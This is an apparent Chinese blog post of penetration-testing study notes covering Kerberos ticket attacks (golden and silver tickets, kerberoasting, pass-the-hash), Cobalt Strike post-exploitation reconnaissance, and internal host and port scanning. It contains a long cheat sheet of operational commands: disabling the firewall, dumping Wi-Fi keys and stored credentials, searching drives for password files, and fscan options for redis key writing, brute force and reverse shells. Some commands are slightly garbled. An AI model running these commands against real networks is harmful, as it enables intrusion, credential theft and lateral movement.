TGS核对成功后(TGT重新封装后去了哪里?),TGS最后会发给client一个ST,ST包括两部分:第一部分是使用CT_SK加密的:Time、ST有效时间、CS_SK,第二部分是使用serverhash(serverhash就是机器用户的hash,可以理解为对方主机的system hash)0加密的:Name、IP、serverIP、Time、ST有效时间、CS_SK。
电脑加入了域之后,会成为机器用户,server hash就是机器用户的hash;TGS将ST再次传递给client的时候,client无法解密serverhash的内容(client用户的部分是可以解开的)。
client拿到ST后(ST中有使用serverhash加密的内容,而serverhash只有server自己或者是KDC才知道,而krbtgt只有KDC知道)

client和server端通信原理:
client收到TGS发送来的ST后,对其进行解密,并把自己的name ip time等信息放入,再进行cs_sk加密,而第二部分原封不动,二者合并成为client重新封装的ST,client将重新封装的ST提交给server,内部包含:client的name time ip ST有效时间;server收到client的ST后:使用本机的机器用户HASH值解密ST,得到CS_SK,再拿着CS_SK解密第一部分得到相关信息,进行对比后访问建立信任(即解密和加密过程中都是用自己的hash值解密得到CS_SK,再用得到的CS_SK解密上部分得到具体的信息)。
TGT和ST环节中的漏洞,伪造TGT=黄金票据,伪造ST=白银票据;伪造krbtgt的hash是黄金票据的关键;如果伪造server hash,则是白银票据的关键(如果伪造了ST,则可以client直接可与server进行连接);因为伪造TGT的时候,可以得知目的server的IP,所以黄金票据的作用更大,且server的服务有很多,如果伪造ST(白银票据)的话,只能访问server的一个服务,而伪造TGT后,可以通过黄金票据直接访问TGS,进而获取任意ST,再访问server。

AS-REQ和AS-REP数据包分析:
client向AS认证的数据包是AS-REQ(AS-request)包,AS发送的TGT数据包是AS-response。
AS-REQ主要包含了用户的一些信息,是由client发送给AS的数据包,其中包含:PA-DATA pA-ENC-TIMESTAMP使用用户的hash,或者AES key加密时间戳生成value
(该内容是padata-value,是client要发送给AS的内容,要让AS去解密;则该过程存在PTH漏洞,利用从client发送给AS的内容,提取hash值;因为该步骤使用的是AES key加密时间戳,所以可以使用PTK进行破解);还包含PA-DATA pA-PAC-REQUEST,该内容表示是否包含了PAC;还包含了:kdc-options:协商字段,cname:请求的用户名,realm:域名,sname:请求的server名。
AS-REP:当KDC收到AS-REQ之后解密PA-DATA PA-ENC-TIMESTAMP,如果成功就返回AS-REP,其中包含:enc-part:TGT中由krbtgt hash加密的部分;enc-part:TGT中由client hash值加密部分(该内容对应AS返回给client的AS-REP内容,即有两部分,包括使用client hash加密的第一部分和使用krbtgt加密的第二部分)

TGS-REQ和TGS-REP数据包分析:
TGS-REQ是client发送给TGS的数据包,TGS-REP是TGS发送给client的数据包;TGS-REQ包含的内容有,anthenticator:使用CT_SK加密内容,ticket:原始的TGT使用krbtgt加密。

AP-REQ和AP-REP的数据包分析:是client发送ST到server的数据;AP-REP:server发送到client的数据(可选)。
client收到TGS发送的ST后,对其进行解密,并将解密后的ST重新封装发给server。
使用kekeo分析数据包过程中,登录client的administrator身份登录,cmd中的命令为:
申请tgt:tgt::ask /user: /domain: /password:
申请ST并注入到内存:tgs::ask /tgt: /service: /ptt

kerberos协议安全问题:
AS-REQ:PTH、域内用户枚举、密码喷洒;AS-REP:黄金票据golden ticket(伪造TGT)、Roasting;TGS-REP:silver ticket、kerberoasting;kerberos扩展协议:委派、kerberos bronze bit;

四、工作组及域内信息收集、内网IP及端口扫描

内网信息收集概述:
内网也指局域网LAN,指在某个区域由多台计算机互连而成的计算机组,内网渗透就是在内网中获取计算机的权限,其中包括:内网本地信息收集、自动收集本地信息、内网IP扫描技术、内网端口扫描技术、域内基础信息收集、查找域控制器、获取域内用户、定位域管理员。

进入内网的形式和操作环境:
控制内网机器的手段:通过web形式,通过漏洞,使用webshell管理工具进行连接;通过钓鱼或者近源使用CS进行连接。
内网渗透的时候,一般都要上线到CS去进行。
即便是使用外网渗透,最好也要上线到CS上,方便后续攻击。

CobaltStrike:简称CS,用于团队作战使用,有一个server和多个client组成,能让多个攻击者在一个团队server上共享目标资源和信息;CS有很多payload(木马)的生成模块,可以生成EXE dll vbs 图片马 bad vba宏 shellcode等;CS可以支持钓鱼攻击,可自动化挂马链接生成;CS还有很多后渗透模块;CS分为server和client端,server端可以部署在远程server下或者部署在kali里,client可以部署到本地支持Linux和windows系统。

使用CS进行本地组的信息收集(命令):
查看ipconfig信息(收集ip dns 网关等信息):shell ipconfig;
查看对方操作系统等版本信息:shell systeminfo;
查看系统体系结构(例如x86系统):shell echo %PROCESSOR_ARCHITECTURE%;
查看安装的软件及版本:shell wmic product get name,version或者是shell powershell "Get-WmiObject -class win32_product | Select-Object -Property name.version;
查看电脑正在运行的服务:shell wmic service list brief
查看进程:shell tasklist或者shell wmic process list brief
查看电脑启动程序:shell startup get command,caption
查看计划任务:schtasks /query /fo LIST /v
查看电脑开机时间:shell net statistics workstation
查看用户列表信息:shell net user或者shell wmic useraccount get name,SID
查看会话列表:shell net session
查看端口:shell netstat -ano
查看补丁信息:shell systeminfo或者shell wmic qfe get Caption,Description,HotFixID,InstalledOn
查看杀毒软件等信息:shell wmic /node:localhost /namespace:\root\securitycenter2 path nativirusproduct get displayname /format:list
查看共享列表(通过查询共享信息实现后续横向移动):shell net share或者shell wmic share get name,path,status
查看路由信息(可用来探测存活主机):shell route print
查看防火墙是否开启:shell netsh firewall show state
关闭防火墙:netsh firewall set opmade disable或者netsh advfirewall set allprofiles state off
收集本地wifi密码信息:for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do
@echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
查看RDP端口:shell reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Winstations\RDP-Tcp” /V PortNumber
查询当前保存的凭据:shell cmdkey /l
查询ARP信息:shell arp -a
查询最近打开的文件:shell dir %APPDATA%\Microsoft\Windows\Recent
查询本地工作组:shell net localgroup
查询管理员组员信息:shell net localgroup administrators
查询RDP凭据:shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials*

域内信息收集(渗透目的就是控制DC):
域内基本信息:查询权限通常分为四种,分别为本地普通client、本地administrator、域内client、域内administrator.
如何查看入侵的主机是否是域用户:
对于没有加入域的用户,shell ipconfig /all 后会显示主DNS后缀是空的;shell systeminfo;可通过计算机全名查看是否存在域中:shell net config workstation;shell net time /domain
查询域内的组:shell net group /domain
查询域内的指定的组内成员:shell net group “domain group” /domain

定位域控DC的位置:
查看域控机器名:shell nltest /DCLIST:hack
查看域控的主机名:shell nslookup -type=srv _ldap._tcp
查看域内的当前时间shell net time /domain
查看域控制器组:shell net group “domain controllers” /domain

获取域内用户:
进入域内主机的时候,向DC查询:shell net user /domain,查询域内的用户(关键);而查询本地用户是:shell net user;
域内user中的krbtgt用户(密钥分发中心用户,是在域中一定有的)是重要的;
得到了域内用户,就可使用域内密码喷洒(利用kerberos协议);
查询域管理用户:shell net group “domain admins” /domain
查询企业管理员组成员:shell net group “enterprise admins” /domain

定位域管理员(域admin):
当域内admin没有登陆过,就可以定位域管理员的位置
攻击工具介绍:

psloggeson.exe(可以使用CS将程序直接upload到入侵主机上):该工具可以显示本地登录的user和通过本地计算机或远程计算机的资源登录用户,用法:shell pslogonedon.exe [\computername或username](第一次使用命令,需要使用-acceptula或者直接用入侵机器进入pvefindaduser.exe:该工具可用于查找AD用户登录的位置,枚举域用户,以及查找在特定计算机登录的用户,包括本地用户、通过RDP登录的用户、用于运行服务和计划任务的用户账户,用法:shell pvefindaduser.exe -current

netview.exe是一个枚举工具,使用winAPI枚举系统,用法:-h:显示帮助菜单。
-f filename.txt:指定从中提取主机列表的文件。
-e filename.txt:指定要排除的主机名文件。
-o filename.txt:将所有输出重定向到文件。
-d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
-g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
-c:检查对已找到共享的访问权限。

PowerView脚本:PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、
Invoke-UserHunter 等,用法:powershell.exe -exec bypass -command “& { import-module .\PowerView.ps1;Invoke-UserHunter}”(如果没有结果,说明目前所登录的用户不是admin权限)

敏感数据定位:内网中寻找高价值的文档:
1.指定目录下搜集各类敏感文件
dir /a /s /b d:“.txt"
dir /a /s /b d:"
.xml”
dir /a /s /b d:“.mdb"
dir /a /s /b d:"
.sql”
dir /a /s /b d:“.mdf"
dir /a /s /b d:"
.eml”
dir /a /s /b d:“*.pst”
dir /a /s /b d:“conf
dir /a /s /b d:“bak
dir /a /s /b d:“pwd
dir /a /s /b d:“pass
dir /a /s /b d:“login
dir /a /s /b d:“user
2.指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

内网IP扫描:
ICMP协议介绍:ICMP是(Internet Control Message Protocol)Internet控制报文协议。它是
TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、
主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用
一、使用PING命令配合CMD语法进行C端扫描(相对于比较安全,该用法是使用内部命令)
命令:for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.41.%I | findstr “TTL=“
二、使用fping是一个小型命令行工具,用于向网络主机发送ICMP 回应请求,类似于ping,但在ping多个主机时性能要高得多。 fping完全不同于ping,一位可以指定IP数量和网段,常用用法如下,类似这种ping请求基本不会被安全探测工具探测到。
命令:
fping IP1 IP2 -c 10 扫描多个IP 10次
fping -a -g 172.18.9.0/24 扫描C端IP

ARP协议介绍地址解析协议,即ARP(Address Resolution Protocol),是根据IP地
址获取物理地址的一个TCP/IP协议
一、使用本地自带ARP命令查看ARP缓存表信息
命令:Arp –a
二、使用arp的工具进行探测
命令:Aprp.exe -t IP段

NetBIOS协议介绍NetBIOS协议是由IBM公司开发,主要用于数十台计算机的小型局域网。
NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在NetBIOS协议的基础上工作的,在网络中使用计算机名通讯就是使用NetBIOS协议,NetBIOS协议,主要用于局域网通信,开启之后,局域网的其他计算机可以发现并找到你的计算机
一、可以使用工具进行扫描(可以显示出ip、机器名等信息)
命令:nbtscan.exe + IP

FSCAN介绍:一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。(扫描结果比较全面)
Fsan的用法非常多。

  1. fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
  2. fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
  3. fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
  4. fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
  5. fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
  6. fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
  7. fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
  8. fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
  9. fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
  10. fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
  11. fscan.exe -hf ip.txt (以文件导入)
  12. fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
  13. fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)

kscan是一款资产测绘工具,可针对指定资产进行端口扫描以及TCP指纹识别和Banner抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,且是go平台首款开源的RDP暴力破解工具

Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。7.5版本内置100个功能模块,外部模块18个,通过多种协议以及方法快速获取目标网络、存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、数据库等信息,漏洞检测包含MS17010、SMBGhost、Weblogic、ActiveMQ、Tomcat、Struts2系列等,密码爆破13种含数据库(Mysql、Oracle、MSSQL)、FTP、SSH、VNC、Windows(LDAP、SMB/IPC、NBT、WMI、SmbHash、WmiHash、Winrm)、BasicAuth、Tomcat、Weblogic、Rar等,远程执行命令包含(wmiexe/psexec/atexec/sshexec/jspshell),Web指纹识别模块可识别75种(Web应用、中间件、脚本类型、页面类型)等,可高度自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配置INI批量调用任意外部程序或命令,EXP生成器可一键生成漏洞POC快速扩展扫描能力。Ladon支持Cobalt Strike插件化扫描快速拓展内网进行横向移动。

内网端口扫描:
内网端口扫描概述:
通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的涌洞、分析目标网络的拓扑结构等, 在进行内网渗测试时,通常会使用Metasploit内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan等端口扫描工具获取开放的端口信息

ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度很快,不需要winPcap库支持,应用场合受限较少。
常用用法:
scanline.exe -bhpt 21-23,25,80,110,135139,143,443,445,1433,1521,3306 IP
scanline.exe -bhpt 80,443 1.1…1-254(IP)
scanline.exe -bhpt 139,445 IP

Telnet协议是TCP/IP协议族的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令是最方便的,telnet + IP+端口,可以使用telnet快速判断指定主机的端口是否打开

PVEDFindADUser.exe
PVEDFindADUser.exe

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值